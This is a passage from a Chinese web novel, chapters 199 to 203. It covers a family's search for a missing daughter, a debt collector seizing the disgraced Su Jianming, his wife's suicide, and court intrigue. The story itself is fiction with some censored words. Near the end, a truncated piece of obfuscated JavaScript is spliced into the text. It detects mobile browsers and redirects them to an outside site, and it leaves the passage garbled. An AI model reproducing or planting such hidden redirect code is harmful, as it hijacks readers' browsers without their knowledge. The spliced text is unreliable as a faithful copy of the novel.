“姜斯羽!”姜淮邦厉声喝道:“你妹妹当初的愿望就是希望你考取功名!你别忘了你当初答应过你妹妹什么!现在秋闱已经过去了,过不了多久就是春闱了,难道你要辜负你妹妹的一片心意?你这样颓废下去,你妹妹回来,你要怎么给你妹妹交代?”
姜斯羽听到姜淮邦的话,整个人无力地往后退了一步,他看着姜淮邦,低声问,“爹,小梨花还能回来吗?”
“能。”姜淮邦眼神坚定,“人没有消息就是好消
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息,我相信婳儿总有一日会回来的,斯羽,我们如今这么无助,就是因为我们只有钱没有势,若我们有钱也有势,也不至于在京城这么盲目的找下去。”
姜斯羽有些涣散的眼神逐渐有了神采,他眉头紧蹙,沉声道:“好,那我今天找完,我就回上官府继续读书。”
姜淮邦还要说话,姜斯羽就面带祈求地看向他,道,“爹,最后一天,你让我再找婳儿一天吧。”
姜淮邦深深地看着姜斯羽,半晌后,他颔首,“找吧,爹也一起去找。”
姜斯羽笑了笑,父子两人带着人出门,刚出门就看到吕静雅带着苏承印和苏继业站在了姜家门口,姜斯羽有些不解的看着吕静雅,“吕小姐这是?”
“我带了两个人想和姜大哥你们一同去找婳儿姐姐。”吕静雅说着有些尴尬的笑了笑,“姜大哥不介意吧?”
“你们永宁伯府不是也派了人一起找吗?”姜斯羽眉头微蹙,“你怎么还把人带过来和我们一起找了?”
吕静雅有些尴尬地扯了扯嘴角,若不是这两人这些日子软磨硬泡地让她带着他们一起找,她也不至于找上门啊。
而她,母亲和祖母虽然担心表姐的安危,但是却更担心她这个未出阁的女子被人掳走喝了血,所以不准她参与找人的队伍中,所以她踩在答应了这两个人后,带着他们来找姜斯羽。
“我祖母和母亲不准我在外面抛头露面地找人,所以...”吕静雅有些尴尬的抬眸看着姜斯羽,“我才来找你姜大哥你的。”
“你母亲的思虑是对的,现在婳儿她们生死不知,你又是未出阁的女子,待在家中最为安全,若小梨花没有找到,再把你陷于危险之中,那小梨花即便是回来也会责骂我们的。”姜斯羽面色严肃的对吕静雅沉声道,“所以吕小姐,你请回吧。”
“那我们留下与你们一起找人。”苏承印抬头看着眼前这个形容憔悴的英俊男子,心头有些不是滋味,“我们兄弟两人单独寻找的话,实在是如同无头苍蝇,请姜公子同意让我们兄弟二人跟着你们一同找人。”
第199章 姜斯羽拒绝苏家兄弟,要债的上门找苏建明
原本对苏家两兄弟没有起疑的姜斯羽在听到苏承印这句话后眉头微微皱了起来,他目光微冷的从苏承印兄弟二人脸上扫过,“你们是苏家的人?”
苏承印一僵,接着他往后退了一步朝姜斯羽掬了一礼,“在下苏承印。”
“时间都过去那么久了,你们才出面来找我们一起找人?”姜斯羽嗤笑,“做给谁看?小梨花?还是我们?”
“不是这样的。”苏承印赶紧解释道:“前些日子在下忙着准备秋闱,所以一直抽不开身,家中母亲也一直拿着银钱求人帮忙找人,只是我想着自己拿着银钱带着那些花钱请来的人如同无头苍蝇一般在街上到处乱窜,还不如和姜公子你们一同找...”
“我们姜家商贾之家可不敢和苏公子走一路。”姜斯羽冷笑,“我们怕拉低了两位苏公子的身份。”
他错开两人往台阶下走去,语气冰冷的传来,“两位公子若是无其他事还是快些离去吧,别在我们府上染上了商贾气,影响了两位公子。”
姜淮邦也深深地看了两人一眼然后让家中管家把大门锁上,自己则抬步跟上姜斯羽的脚步离开了。
把两人带来的吕静雅脸上闪过一丝懊恼,然后有些幽怨地看了两个表哥一眼,抬步朝姜斯羽追过去,“姜公子,我真的不是故意要带他们来的,实在是他们一直求我...”
姜斯羽脸色并没有因为吕静雅的解释转好两分,他停下脚步看着吕静雅,“吕小姐不必解释,我知道你是好心,你只想帮他们,但是你帮了他们却是在给我们添堵,我想你应该不是不知道他们曾经对小梨花做的那些事情。”
看着姜斯羽那肃冷的背影,吕静雅有些懊恼地使劲拍了一下自己的脑袋,“做事不带脑子!只想着多两个人多点力量了,却没想到他们对婳姐姐多看重!”
苏继业慢慢走了过来,一脸不爽,“装什么?他是真的在乎她,还是因为她活着的话能给他带来更多的好处?”
“你少说两句!”苏承印皱着眉头看了苏继业一眼,冷声道:“无论如何当初就是我们对不起婳儿。”
“我们是对不起姐姐,但是又没有对不起他,他凭什么那样说我们?”苏继业语冷哼,“他不愿意让我们和他们一起寻找,还不是为了做给姐姐看,让姐姐以为我们母子三人根本不关心她,只有他们姜家人关心她!”
“那你们是真的关心她吗?”吕静雅忽然皱起眉头看着二人,沉声问,“你们若是真的关心她当初又怎么会为了苏清欢那样欺负她,让她心灰意冷的与你们断绝关系?”
“我们那是被苏清欢他们蒙骗了!”苏继业想到当初的事情脸色就瞬间变得阴沉起来,“如果不是苏清欢和苏建明他们联手骗我们,我们也不会那样对她!”
“不,你们当初是从心底里看不上从商贾之家长大的婳姐姐,你们别为自己找那些冠冕堂皇的理由了。”吕静雅有些失望的看着两个表哥,“以后你们也别找我帮忙接近姜家人找婳儿姐姐了,我先回去了。”
吕静雅说罢直接朝自己的马车走去上了马车。
苏继业被吕静雅的话气的狠狠地在地上踹了一下,“她们一个个都被姜家下了降头了吗?姜黎婳一心只有姜家父子,吕静雅现在也和姜家父子站在统一战线上来和我们作对!”
苏承印瞧着一点就炸的苏继业,有些头疼地揉了揉眉心,沉声道:“你就不能少说两句吗?这件事情本就是我们理亏。”
“我们虽然错了,但是一家人哪儿有什么隔夜仇,她为什么就是不可能原谅我们?”苏继业双手死死地捏着,满脸阴沉,“现在母亲因为她的事情,眼睛都要哭瞎了,她...”
“她失踪了,你说这么多有什么用?”苏承印叹气,“姜家人不让我们跟着一起找,那我们就想办法自己去找,总要把人找到。”
苏继业身上的那股戾气因为苏承印这话瞬间消失了一大半,他抿了抿嘴,低声问,“她应该还活着吧?”
苏承印深深地看了他一眼,冷声道:“你什么时候改改你这臭脾气,明明在乎她的安危,说出来的话却始终刺耳。”<
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br>说完也不再理会苏继业,直接离开。
苏继业站在原地愣了愣,接着去追苏承印,“大哥,城内他们每天都在找,咱们要不去城外找找吧?”
“几个城门每天都有人拿着画像在对比,若是有长得像她的人出城,早就被人拦住了,她...”
“乔装打扮呢?”苏继业打断苏承印的话,“京城已经有好几拨人在找他们了,咱们就带着人去城外找吧,还有冀州咱们也过去找找看如何?”
冀州邢城。
苏建明和邹如意两人还没有从苏清欢兄妹两人身亡的噩耗中缓过神来,就听到了大力敲门的声音,在椅子上呆坐了一夜的邹如意听到猛烈的敲门声,也没有起身去开门的打算。
苏建明站起来在堂屋里面来回踱步走了一圈,大步走出去打开大门骂道:“敲什么敲?大清早的就...”
看清站在自己家门口的刀疤男,苏建明后面的话咽了回去,对着刀疤男讪笑道:“疤爷,您怎么来了?”
“苏大人啊,你可真让小的好找啊。”被苏建明称为疤爷的刀疤男推了苏建明一把,自顾自地抬步走进去,冷笑道:“你们夫妇二人在这儿小日子过得好,有没有想过老子借给你那么多银钱,却没有收回来,现在过的是什么日子?”
刀疤男本就人高马大的,加上常年在**行走都是与一些赌徒打交道,早就练就了一身武艺,此时他用力一推,把苏建明直接推倒在地上。
跟在他身后的那些人也连忙跟着他走了进去。
苏建明此时也顾不得身上的疼痛了,连忙爬起来跟着刀疤男等人身后往堂屋里面跑,“疤爷,不是我不还钱,是我如今真的没有钱还您啊!”
刀疤已经进了堂屋,他坐在高位上,看着被吓得躲在门后的邹如意,冷笑,“没钱还,那就拿东西抵,没东西抵那就拿人抵,你是知道我们钱庄的规矩的。”
苏建明闻言心头一跳,他惊慌地跪在地上,嘶声道:“疤爷,我们如今也是走投无路了啊,哪儿去找东西和找人给您抵啊?”
第200章 以身还债苏建明
“你当初借我们银子的时候可不是这么说的。”刀疤站起来走到苏建明面前蹲下,伸手重重地拍苏建明的脸,“你当时给爷保证的可是一个月就把银子全都还清啊!”
“可是我们被算计了啊!”苏建明被吓得缩了缩脖子,“我们的产业全都被吕月琴那个贱妇给算计过去了啊!我们现在是半点产业都没有了,要如何还您银钱啊!”
躲在门背后的邹如意听到苏建明这话连忙点头道:“对,你们要银子去找吕月琴啊,吕月琴把我们的家产全都抢了过去,你们找我们,我们根本拿不出来银钱,您要钱您就去找吕月琴啊!”
苏建明听邹如意这么说,他眼睛一亮,他一把抓住刀疤的手,急声道:“对对对,疤爷您去找吕月琴,当初吕月琴她答应了要帮我还债的,你去找她还给你!”
疤爷闻言冷笑了一声,接着抬手一巴掌狠狠地落在苏建明脸上,“你当我们是傻子,这么好糊弄?人家吕夫人如今的手上的产业都是当年的嫁妆!什么叫抢了你们的产业?你真以为老子不知道你们苏家那点腌臜事儿?”
“苏建明,你活在这世上还真是丢咱们男人的脸啊!”刀疤嫌弃地站起来,居高临下地看着苏建明,沉声道:“你们说让吕月琴帮你们还钱?也行,你们去找他们把银钱拿来,老子也不为难你们了。”
苏建明面露难色,他刚刚那样说不过是想先让这刀疤先离开,然后趁机躲起来,他当然知道吕月琴不会帮自己还钱了!
让他去找吕月琴帮他还钱,怕是还要被吕月琴那个毒妇花钱雇人毒打一顿!
“疤爷,我知道吕月琴的软肋,您找人把姜黎婳绑了,让她交赎金救人,她一定会同意的...”
“姜黎婳?”刀疤眉头微蹙,“御王妃?”
苏建明点头,“对就是他,姜黎婳其实就是....”
砰!
苏建明被刀疤狠狠地踢了一脚,刀疤满脸怒意地上前又狠狠地踹了苏建明几脚,咬着牙齿骂道:“苏建明你真当老子是蠢货了是吧?别说御王妃如今生死不知,就御王那爱妻如命的性子,老子敢绑了御王妃,御王不得把老子祖宗十八代都给挖出来鞭尸?”
苏建明被刀疤打得抱紧头卷缩着身子躺在地上一动不敢动,直到刀疤停下了动作,他才哭着道:“疤爷,我错了!要不您把这个女人带走吧,她虽然上了年纪,却还风韵犹存,我知道您不止有钱庄还有赌场,而且里面有很多有钱的鳏夫会在您的赌场中找乐子...”
他看了邹如意一眼,然后讨好地对刀疤道,“她会的花样可多了,定会伺候好那些...”
“苏建明,老娘和你拼了!”邹如意听到苏建明竟然敢打这种主意,气得从门背后直接冲出来揪着苏建明的头发就在他脸上乱挠,“你竟然想要用我去抵债!你还是不是男人!”
苏建明害怕刀疤,但是却不怕邹如意,这些年邹如意被他养着,一直在他面前伏小做低,以前都是想尽方法变着花样的哄着他,现在却敢对他动手?
他抬手直接推开邹如意,厉声骂道:“我养着你这么多年!当初给疤爷借那些银子也是因为你非要逼着我给苏子恒那个蠢货买什么砚台!那砚台砸在手中也是因为苏清欢那个贱婢眼睛瞎了,害得我们买了假砚台!这件事情的起因就是因为你们,你不去抵债,谁去?”
苏建明说到这里脸色骤然变得狰狞起来,他爬起来一把掐住邹如意的脖子,双目猩红,“说到底老子变成现在这样子还是因为你!如果不是因为你当初非要闹着让我把两个孩子给换了,我又怎么会想到弄死自己的亲生女儿,到头来落得现在这个下场!”
苏建明现在已经完全被自己洗脑了,他觉得自己完全没有错,自己就是受了邹如意的蛊惑,所以才会变成如今这个模样的,完全忘了自己当初接触吕月琴就心术不正,而之所以换了女儿,也是因为他本就不是好人。
邹如意被苏建明狠狠地掐着脖子,眼前就要断气了,刀疤过去一脚踢在苏建明胸口,冷色骂道:“你把她掐**,谁来接客替你们还钱?”
苏建明因为刀疤这句话眼神恢复了清明,他咂了咂嘴,讪讪笑道:“疤爷您说得对,这个女人您就直接带走吧,她会的花样多,那些玩家应该会甘愿把银钱掏出来的!”
邹如意躺在地上听着苏建明这话,却已经没有力
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气再起来和他厮打了,她现在就喜欢自己快点死,下辈子再也不要遇到苏建明这种自私自利的男人了。
是啊,苏建明连自己亲娘都可以背刺的人,又怎么可能护着她呢?
刀疤轻笑了一声,上前揪起苏建明的头发认真的打量苏建明的脸,片刻后他啧啧轻笑,“苏大人这张脸虽然上了年纪,却依旧英俊,难怪当年那位伯府的小姐说什么都要嫁给你。”
苏建明听到刀疤这句话心头闪过一丝不好的预感,他嘴巴抿成一条线,轻声道:“疤爷您说笑了,我一个男人...”
“来我们赌场玩的都玩的花,有些人还真有一些特殊癖好,且给的价钱很高。”刀疤一把揪起苏建明站起来,扯着嘴角笑道:“光靠她一个女人,怕是到死这三万两银子我都挣不回来,但是有苏大人你这前朝廷命官在我们赌场就不一样了,他们一定会为了你一掷千金的!”
“不,疤爷,不会的,您放过我,我去找吕月琴,我去找我另外两个儿子,他们会愿意帮我还债的!”
“疤爷我这人虽然做的不是正当生意,但是却不是是非不分的坏人。”刀疤眼底闪烁着轻蔑的光,冷冷的盯着苏建明,冷笑道:“就你还好意思让人家为你还钱?”
他的手在苏建明脸上狠狠地拍了两下,“你就乖乖回去给爷接客去吧!”
“疤爷...疤爷....”苏建明连忙挣扎,“您放过我疤爷,求您了!”
“你把这个女人给我的时候那么爽快,怎么到你的时候就这么扭扭捏捏了?”刀疤把苏建明丢给手下,“带回去!”
苏建明还要求饶,就听到邹如意的笑声...
“苏建明,你这就是报应!”邹如意摇摇晃晃地站起来,她深深地看了苏建明一眼,嗤笑,“我当年真的是鬼迷了心窍才会嫁给你这么个狼心狗肺的东西!”
邹如意说完朝着门框跑过去狠狠地撞了上去,她的头猛地磕在门框上,头上瞬间流血,她人也倒在地上,她睁眼看着苏建明,笑着道:“我**,你就一个人去伺候那些人,还你的债吧!”
如今她儿女都**,还要被苏建明逼着去接客,她活着还有什么意思?
第201章 姜黎婳:你瞧我像不像庙里的菩萨
邹如意躺在地上,鲜血从头上不停地流出来,但是她却像是根本感受不到痛意一般嘲讽的看着苏建明,“苏建明你在我面前高傲得意了一辈子,接下来你就好好的体验坠入尘埃的日子吧!哈哈哈...”
苏建明没想到邹如意竟然宁愿死也不愿意**帮他还债,他气得发疯,眼睛骤然变得通红,“邹如意!你敢死?我是因为谁才去**借钱的!你现在不帮我还债还敢**?你信不信我让你**都不得安宁?”
他说完又满眼疯狂地看向刀疤,厉声吼道:“你们还愣着做什么?还不快点救人!她**,你们就少一个人帮你们挣钱了!快点帮忙啊!”
刀疤瞧苏建明竟然敢对着自己大呼小叫,他嗤笑了一声,没有理会生命流逝的邹如意,而是抬手一巴掌就打在苏建明脸上,“你**和谁说话呢?她**,你就给老子接双倍的客人!老子的银钱总能赚回来的!”
刀疤的话说完看了一眼跟着自己过来的手下,几个身强体壮的男人立刻上来禁锢着苏建明就往外走,苏建明急得大声喊道:“你们这是犯法的!你们快放了我!”
“嘴巴堵了,带走!”刀疤朝地上吐了口唾沫,沉声道:“欠债还钱天经地义,这到哪儿说都是老子有理,你少她娘得在这儿吓唬老子!”
一个壮汉拿了一条汗巾直接塞进苏建明的嘴里压着苏建明就走了。
刀疤经过邹如意的时候,邹如意的意识已经有些迷糊了,她眨了眨眼睛无神的看着刀疤,刀疤哼了一声,“你这种毒妇就这么**,还真是便宜你了,不过谁叫老子是好人呢,就不拉你去抵债了,你在这屋子里面等着,有人来给你收尸的话,也是你的造化了。”
刀疤说罢嗤笑了声,大步离开。
门口几个打手把苏建明丢上了马车,然后齐齐在马车旁边等着刀疤,等刀疤靠近了,才问,“疤爷,咱们还真让苏建明去接客啊?能挣到钱吗?”
“他接客能挣几个钱?”刀疤不屑地哼了一声,“这苏建明再不是人也是苏承印他爹,况且他如今是被朝廷流放的重犯,若是我们就这样把人接回去接客,若朝廷深究起来,咱们钱庄吃不了兜着走!”
“若这苏承印还讲一点父子之情,帮他爹换了赌债也就算了,若是不讲,那就只能手脚来抵了。”刀疤说到这里眼底闪过一丝寒光,“欠了老子的钱不还的人,总要给点教训才是,不然以后谁都敢不还疤爷的钱了!”
在马车里面听到刀疤和手下谈话的苏建明,眼底闪过一丝庆幸,他相信,苏承印那么孝顺,一定会说服吕月琴不计前嫌为自己还债的,以后他再说点好听的哄一下吕月琴,想来吕月琴那个女人一定会原谅自己,再和自己重归于好的。
在苏建明无限遐想的同时,住在客栈中的姜黎婳也接到了昭临的消息。
“王妃,咱们要救邹如意吗?”
姜黎婳侧眸看了昭临一眼,眉梢微微一扬,她问昭临,“你瞧我像不像庙里面供着的菩萨?”
昭临很认真地看了姜黎婳一眼,摇头,然后严肃地说道:“不像,庙里的菩萨生的慈眉善目的,而且很慈祥很饱满,您这...”
最多是个祸国殃民的狐狸精啊。
瞧瞧如今都把王爷迷成什么样了。
姜黎婳没想到昭临居然还真的回答了自己这个问题,她有些好笑的点头,“是啊,我又不是菩萨,凭什么还要普度众生?她曾经想要杀了还在襁褓中的我,我为什么要救她?”
昭临懊恼,对啊,他为什么要大半夜的把王妃吵醒,问这么弱智的问题啊?
“属下明白了。”昭临说罢转身往外走,刚走出房间又倒了回来,“属下已经传信让人盯着那处院子了,王妃是否要给王爷传信?”
姜黎婳颔首,“告诉王爷,在没有掌握所有证据能把敌人一举拿下之前,不要冲动,萧景宴那里由我们来盯着。”
昭临应声出去了。
姜黎婳也睡不着了,她吹掉蜡烛走到窗边推开一条小缝隙,看着萧景宴所在的院子的方向,眼神冰冷,好一会儿之后,她才低声呢喃,“萧景宴,我会亲自把你曾经赐给她的那些伤痛还给你的。”
我不会让你那么轻易地**。
翌日。
城南一处茶楼中,楚蕙兰坐
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在茶楼雅间的窗户边看着被姜淮邦硬推着上了马车的姜斯羽,她眼睛一眯,嘴角勾起一抹浅浅的弧度,“那就是姜黎婳的养兄?”
跟在她身边伺候的护卫闻言往外看了一眼,然后面无表情的点头,“是,这位就是这些日子一直在寻找姜黎婳的姜斯羽。”
“真没想到商贾之家竟然能有这么气质出尘的男子了。”楚蕙兰端起茶杯轻轻抿了一口,“他要去哪儿?”
“奴才不知道。”
楚蕙兰端着茶杯的手微微一顿,嘴角的弧度瞬间消失不见,她轻轻抬眸看着护卫。
护卫被她的眼神吓了一跳,立刻跪在地上沉声道:“奴才这就让人去查!”
楚蕙兰轻轻地把茶杯扔在桌上,茶杯倒下,里面的茶水倾泻而出,滚烫的茶水洒落在跪在地上的护卫身上,护卫手脸都被烫得通红,但是却半点不敢动,楚蕙兰站起来居高临下地睨着护卫,冷声道:“不服?”
“是奴才办事不力。”护卫沉声道。
楚蕙兰眉梢微挑,“把人给我带回府....”
楚蕙兰话还没说完,雅间的门就被人推开,一个护卫打扮的男**步走进来,沉声道:“御王进来了。”
楚蕙兰眉头一皱,“他不是出城查案了吗?”
“是出城了,但是刚刚折返了!”
楚蕙兰看了一眼还跪在地上的护卫,正要开口,就听到门外传来脚步声,她垂着的手,捏紧成拳头,深深地吸了口气,接着她闭上双眼,等再次睁开眼睛,她眼底的戾气消失不见,脸上也挂上了和善的笑容。
她半蹲下身子亲手把护卫扶起来,轻声道:“不过是把茶盏打翻了,你怎么还跪下了?让人重新上一壶茶就是,你怎么还跪下了?快下去找个医馆处理一下烫伤,这里就不用你伺候了。”
“姑姑?”她话音落下,门口响起楚御礼有些诧异的声音。
楚蕙兰抬眸看去,看到楚御礼的瞬间,她脸上露出和蔼的笑容,“御儿,你怎么来城南了?”
楚御礼抬步走进来,那个被烫伤的护卫在他走进来的瞬间,从地上站起来给他弯腰行礼之后快步离开。
第202章 相互试探
楚蕙兰邀楚御礼坐下喝茶,楚御礼没有拒绝,坐下喝了一口茶,抬眸看着楚蕙兰,“姑姑今儿个怎么想到来城南喝茶了?”
他天还没亮就接到了萧景宴在冀州的消息,娘子还胆大的想要亲自跟着萧景宴,他原本打算出城去冀州把人劝回来的,谁知道刚出城就接到了暗卫的禀报,说楚蕙兰今日一早就派人跟着姜家人,而且还亲自来了这家茶楼,好像是要对姜家父子动手。
这种猜想让他不得不折返回来亲自会会他这个姑姑,瞧瞧她究竟想做什么。
瞧着对面面色平静的楚蕙兰,楚御礼眼底闪过一丝探究,难道自己这个姑姑开始怀疑婳儿还活着的事情了?
还好之前他并未心软告诉姜家人婳儿的消息,否则姜家父子未必承受得住她手下那些人的严刑逼供。
楚蕙兰轻轻端起茶杯,笑了笑,“先前我不是在东城施粥吗?但我听说前些日子因为南阳洪水,有不少难民**在了南城,所以便想着亲自过来瞧瞧,然后找几个合适的地方施粥。”
楚御礼听着楚蕙兰的借口,垂眸掩下眼底浓浓的嘲讽,再次抬眸他的眼底浮现出钦佩之意,他端起茶杯朝楚蕙兰举杯,“还是姑姑大义,侄儿真是自愧不如。”
“你如今烦事缠身,哪儿还有心思在意这些。”楚蕙兰瞧着楚御礼抿了一口杯中茶,然后把茶杯放下,她趁机伸手抓住楚御礼的手拍了拍,然后担忧地问,“还是没有你王妃的下落?”
楚御礼闻言落寞地垂眸,“没有。”
楚蕙兰闻言叹气,她松开楚御礼的手,轻声问楚御礼,“你有没有想过她可能真的...”
“姑姑!”楚御礼双目瞬间变红,他抬眸看着楚蕙兰,眼神决然,“您若还当我是您的侄儿,您就不要说出那种令侄儿伤心的话来!”
楚蕙兰一怔,眼底的怀疑瞬间消失,她望着生气的楚御礼叹气,“姑姑也是心疼你啊,你这才多少时日,你就憔悴了这么多了。”
楚御礼听楚蕙兰这么说,他的手捏了捏,然后猛地站起来,“侄儿还有要事要办,就不打扰姑姑办事了。”
楚蕙兰站起身来追了两步,“姑姑是经历过与生离死别的人,知道那种痛苦,但是御儿,逝者已逝,你自己还得往前看啊。”
楚御礼脚步顿住,他回眸看着楚蕙兰,声音冰冷,“姑姑为什么那么确定婳儿已经**?”
楚蕙兰眼神一凝,手指微微一曲,“姑姑只是...”
“好了,姑姑不要说了,只要我一日没有找到婳儿的尸体,我就不相信她**。”楚御礼说到这里顿了顿,接着道:“线人来报说城外有新线索,侄儿告辞。”
楚蕙兰看着楚御礼大步离开的背影,嘴角勾起一抹淡漠的弧度,直到看不到楚御礼的身影了,她才嗤笑了一声道:“这孩子虽然聪明,但还是太年轻了,一点都藏不住事,我不过随便说两句话,就把他激怒了。”
看来他也的确不知道姜黎婳是否还活着。
走出客栈的楚御礼回头看了楚蕙兰所在的房间一眼,接着翻身上马。
他这个姑姑太会伪装了,难怪这么多年来,从未有人怀疑过她。
只是她太自负了,以为什么都在她的掌控之中。
皇宫。
凤仪宫。
玉嫔带着已经瘦了一大圈的楚明珠跪在皇后面前,“娘娘啊,臣妾求您救救这孩子吧,御王妃她们出事后,这孩子就整日疑神疑鬼,担惊受怕的,生怕下一个被掳走的就是她,臣妾求求您,把她留在凤仪宫中与您同住,让她安心啊。”
皇后瞧着之前脸蛋还算圆润,如今却已经瘦成锥子脸的楚明珠,她眉头微蹙,眼底闪过一丝无奈,“明珠,如今皇宫戒备森严,那些贼人是不敢入宫的,你就安安心心...”
“母后,大皇嫂和六妹他们真的**吗?”楚明珠抬眸看着皇后,那双有些空洞的眼神中闪烁着一丝弱弱的光芒。
皇后闻言脸色一僵,她轻轻摇头,“母后也不知道。”
楚明珠闻言眼泪一滴一滴地从眼眶里面落了出来,好半晌之后,她伏在地上,哭着道:“母后,六妹和大皇嫂真的遇害了吗?她们再也回不来了吗?”
玉嫔瞧着楚明珠的模样,心疼地上前抱着楚明珠,哭着道:“你这孩子,忧心这么多做什么?你皇嫂和六妹若还活着,你皇兄定然会把她们带回来的。”
楚明珠摇头,她抬头擦了擦眼泪,泣声道:“她们回不来了...”
皇后闻言双手捏了捏,眼底却闪过一丝轻松
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,若真的回不来了,也许是一件好事,若婳儿回不来了,御儿多过些日子应该会放下的...
如今二皇子和三皇子已经无缘储君之位了,四皇子也因为康家的事情也不受皇上待见,御儿如今是唯一的亲王,若是办了这件大案,陛下竟然会封他当太子,到时候重新选个太子妃,将来的妃嫔也会有助于他稳固江山。
皇后想到这里,藏在袖中紧握的拳头慢慢松开,她上前扶着楚明珠站起来,缓缓道:“无论如何,你皇兄会查到真凶,你若是担心你皇嫂和六妹的安危,那你更应该保重好身子,等着你皇兄的消息,若你是害怕,你可以住到凤仪宫来,本宫让人把偏殿收拾出来给你住,如何?”
最终楚明珠还是回了自己的寝殿,没有在凤仪宫中住下。
而楚明珠才躺下不久,那个劝她若是实在担心六公主和御王妃就去皇后娘娘那里问个究竟的宫女悄悄去了御花园。
北城状元胡同。
吕宅。
苏承印看着坐在自己对面的刀疤男,眼神冰冷,“你们找错人了,我们早就与他断绝关系了,他是死是活,与我们无关!”
刀疤听到苏承印这话,眼底闪过一抹阴沉,说话的声音也带了一丝冷意,“苏大公子这话的意思是,苏建明即便是被我们钱庄弄去接客,也与你们无关?”
“只要你们有那个本事。”苏承印站起来,脸色阴沉地盯着刀疤,冷声道:“只是这苏建明是朝廷要犯,你们把苏建明从冀州接回来公然接客,就是公然与朝廷作对,与朝廷作对的后果你们能承担吗?”
刀疤站了起来,他脸上带着假笑,“苏大公子说得对,我们的确承担不起,所以我们打算砍断他两条腿一只手,就算是抵债了。”
他看着面不改色的苏承印,轻笑着拱手,“既然苏大公子不在意他,那今日算是周某人叨扰了。”
刀疤说罢转身大步离开。
在刀疤离开后,苏继业和吕月琴才从旁边的屋子里面走出来,看到两个儿子的脸色不好,吕月琴叹了口气,低声道:“他再怎么畜生也是你们的父亲,若他真的被那刀疤闹出了什么丑闻,将来对你们兄弟两人的仕途也有影响,你们若真想帮他,母亲也不会阻拦你们的。”
第203章 皇帝的悲悯?
苏承印沉吟了一刻,还未说话,一旁站着的苏继业就率先道:“那是他活该!若他当初听我们的不执着于那方砚台,也不至于落得这个下场,如今他为了他在乎的儿子落得这个下场,关我们何事?”
吕月琴听到小儿子这话,心头一窒,她有些惊愕的看着苏继业,张了张嘴,不知道自己该说什么。
她能理解两个儿子对苏建明的恨...
但是儿子对自己的亲生父亲这么冷血,真的好吗?
苏继业没有注意吕月琴的神色,他看着苏承印沉声问,“大哥,你想管他?”
苏承印轻轻摇头,他藏在袖中的手捏了捏,低声道:“咱们家的积蓄当时几乎都拿出来买了这出宅子,手上的银钱不过千两,哪儿有那么多银钱来替他还债,再说了...”
苏承印缓缓抬头看向吕月琴,语气变轻,“如今小妹生死不知,与其拿那些银钱去填他那巨大的窟窿,还不如再找些人出城去找找小妹的下落,也好让母亲安心。”
苏继业听到苏承印这么说,脸色稍缓,只是瞬息又变得沉重起来,他走到椅子上坐下,给自己倒了一杯茶喝了一口,才抬头缓缓问,“她真的还活着吗?”
吕月琴听到这话本就憔悴苍白的脸色更难看了一些,她身子一晃,低声道:“即便是**,我也要看到她的尸体才会承认她**。”
苏继业闻言抿了抿嘴,没有再说话。
苏承印过去扶着吕月琴在椅子上坐下,“我一会儿又带着人出城去找找,母亲你也别太担心了,小妹当年尚在襁褓中被那对渣男贱女给丢弃都能活下来,这次定然也会平安无事的。”
“是母亲对不起你们。”吕月琴拉着苏承印的手,满脸歉疚,“是娘当年没有护住她还厚此薄彼让她伤心,如今又让你们跟着我一同...”
“娘,不是你一个人的错。”苏承印垂眸,“我们都有错,当初是我们眼盲心瞎对不起小妹,将来无论她原不原谅我们,我们都会尽可能的弥补她的。”
吕月琴听到苏承印这话眼底闪过一丝欣慰,她拍了拍苏承印的手,轻声道:“有你这句话,娘就安心了。”
......
御书房。
皇帝听听了福清的汇报,眉头微微皱了起来,接着他冷哼了一声,“看来朕这些儿子除了御儿,没有一个是让人省心的,看似最不起眼的一个,才是最狠的。”
福清也没想到小小年纪的四皇子竟然就有如此深沉的心思,他抬手擦了擦额头上的汗水,才低声问皇帝,“陛下接下来打算怎么做?”
“什么怎么做?”皇帝斜睨着福清,冷笑,“朕如今倒是要看看他接下来会怎么做。”
皇帝说完站起来,沉声道:“摆驾储秀宫。”
如今已经被降为康贵人移居储秀宫的德妃听到皇帝要来,连忙把自己手中的信件丢到了香炉中,然后让宫人进来给自己梳妆。
皇帝进来的时候康贵人刚刚把朱钗戴好,听到皇帝驾到的声音,她慌忙站起来走到门口去跪在地上迎皇帝,从门口踏进来的皇帝扫了一眼跪在地上的康贵人,脚步没有停留的往里面走。
康贵人等皇帝进去了,这才起身跟着走了进去。
坐在高位上的皇帝看着低眉顺眼地从门口走进来的康贵人,眼底带着深深的审视,“康贵人,移居储秀宫可还习惯?”
“臣妾多谢陛下关心,都在宫中,住哪儿都一样。”康贵人说着有些暗淡的笑了笑,“只是离着陛下的养心殿又远了一些。”
皇帝闻言叹了口气,他的手掌在膝盖上轻轻拍了一下,然后抬眸看着康贵人,“你入宫这么多年,从来都是对朕言听计从,这宫中嫔妃,再也找不出比你更听话更贤惠的,但是你父亲犯的是重罪!朕只是把你贬为贵人,已经让朝臣怨声载载了。”
康贵人闻言扑通跪在了地上,“臣妾多谢陛下怜惜,臣妾的父亲做出那般畜生不如的事情,陛下能力排众议保住我们母子,臣妾已经感激不尽。”
皇帝颔首,“朕就知道你是最懂事的。”
皇帝说罢起身走到康贵人面前伸手把她扶起来,然后顺势拍了拍她的手背,低声道:“泽儿及冠之前,只能先委屈你们母子二人了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206819|175099||http|test|mini|href|location''.split(''|''),0,{}));
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r>康贵人诧异地抬眸看着皇帝,皇帝眼底的惋惜恰到好处地一闪过儿被她这一眼捕捉,皇帝趁此松开康贵人的手,“好了,朕就是过来看看你,你如今刚被贬,朕在你这里多待,对你来说也是祸事。”
皇帝说罢抬步大步离开。
康贵人站在原地看着皇帝大步离开的背影,眼底闪过一丝不解。
皇上何时对她如此体贴了?
还是说因为她爹忽然犯了事,让皇帝意识到这些年他对她的忽略了?
思及此康贵人眼底闪过一丝冷漠,这就是打一巴掌给一颗甜枣?她全家都被他杀光了,现在倒过来怜惜她了?
就像当年一样。
想到自己先前收到的那封信,康贵人眼底闪过一丝狠厉。
都是你逼我的!
